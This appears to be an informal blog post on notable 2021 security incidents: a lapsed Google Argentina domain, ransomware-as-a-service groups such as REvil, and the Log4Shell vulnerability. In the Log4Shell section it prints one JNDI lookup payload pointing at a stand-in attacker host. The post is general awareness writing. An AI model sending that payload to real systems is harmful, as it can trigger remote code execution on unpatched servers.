Most Interesting Cyber Security Incidents of 2021

2021 has been an interesting year. It felt like a wannabe 2020 tbh, trying to reiterate the experience from its predecessor. Undoubtedly, it successfully repeated the same for cyber security teams across the industry. According to a recent report by Accenture security, there was a rise of 31% in cybersecurity incidents at an organization level.

Here are top 3 of the fascinating incidents/developments from 2021 which caught my eye and kept me up till 1 am, studying about them!

**Domain Name Attacks**

Entrepreneurs of start-ups or mega-corporations have a lot in hand, from handling sudden government policy changes to paying electricity bills for their offices. Amidst all this, sometimes tracking the website domain and maintaining it may not be at the top of the to-do list. Sometimes it’s challenging for even the largest corporations to keep track of every domain.

A hilarious example of this was when Google Argentina lost its domain [www.google.com.ar](http://www.google.com.ar) which a web developer bought for $2.57 (No million or billion, simple $2.57). For a brief moment, it looked like this

Graphical user interface

Description automatically generatedThe smile when you take over Google’s domain

Google later got the site back. Even though this dude didn’t intend to misbehave, not everyone is an angel.

There can be several reasons for not maintaining domain names or leaving some domains unsecure. Most commonly, it’s by mistake but can also be due to financial constraints or a company just changing its name and therefore abandoning the original one.

This can lead to some catastrophic cases of s[ocial engineering](https://www.imperva.com/learn/application-security/social-engineering-attack/#:~:text=Social%20engineering%20is%20the%20term,in%20one%20or%20more%20steps.), like [phishing](https://www.imperva.com/learn/application-security/phishing-attack-scam/#:~:text=Phishing%20is%20a%20type%20of,instant%20message%2C%20or%20text%20message.), where malicious actors can pretend to be trustworthy entities for the unprompted without any common red flags.

#### Ransomware as Service (RaaS) (70 million dollar case needs to be investigated)

A fancy way of hackers going Big Tech. Ransomware as a Service caught steam in 2020 and got rolling in 2021 with Dark Side, REvil wreaking havoc with incidents like [Colonial Pipeline](https://whatis.techtarget.com/feature/Colonial-Pipeline-hack-explained-Everything-you-need-to-know) or the [Acer Attacks](https://www.bleepingcomputer.com/news/security/computer-giant-acer-hit-by-50-million-ransomware-attack/).

Ransomware is malware that, if installed, can lock in all your data and hold it hostage in exchange for fees, which is generally in cryptocurrency. The most notorious example was the WannaCry breakout in 2017, affecting more than 200,000 windows systems.

RaaS is a pay-as-you-go service or, in some cases, subscription service (*Take that Netflix*). The crooks get access to premium ransomware software developed by top providers and can order configurations of the target system as per their liking.

In recent times Revil has been the most significant cause for concern with damages north of 60 million dollars.

P.S — It’s being reported that the suspects behind REvil are captured, as part of a joint operation between the US and Russia……… [**Nice**](https://www.aljazeera.com/news/2022/1/15/russia-says-it-took-down-revil-hacking-group-at-us-request).

#### Log4JShell

2021 needed some form of late hitting for the cybersecurity professionals. It delivered it with a 10 out of 10 score on CVSS (Common Vulnerability Scoring System) with Log4Jshell, also touted as the vulnerability of the decade.

Log4J is a ubiquitous piece of software based on Java and is used to record activities in various kinds of systems. Think of it like a captain recording everything going on battleship systems. The record gives an idea of an application’s performance while running and alerts of any errors during the execution. Services such as Amazon Web Services, Google Ecosystem, and iCloud use Log4J extensively

The vulnerability was introduced in 2013 when a contributor allowed developers for custom log message formatting. However, this feature could also compromise the servers if it was allowed to follow nefarious links stated in the logging code.

An example of an attack can be this

${jndi:ldap://some-attacker.com/a} This line in the log is enough to compromise your personal data

This line of code in any compromised website’s search box could cause servers to be remotely controlled and possibly compromise personal data.

The latest release of the Log4J patches the vulnerability. However, for various organizations, it is still under process. At an individual level, we can only hope that our services are defended from this vulnerability.

These are the Top 3 interesting cybersecurity incidents of 2021. Hope you guys stay safe from nefarious internet trolls and data abusers! Till then!!!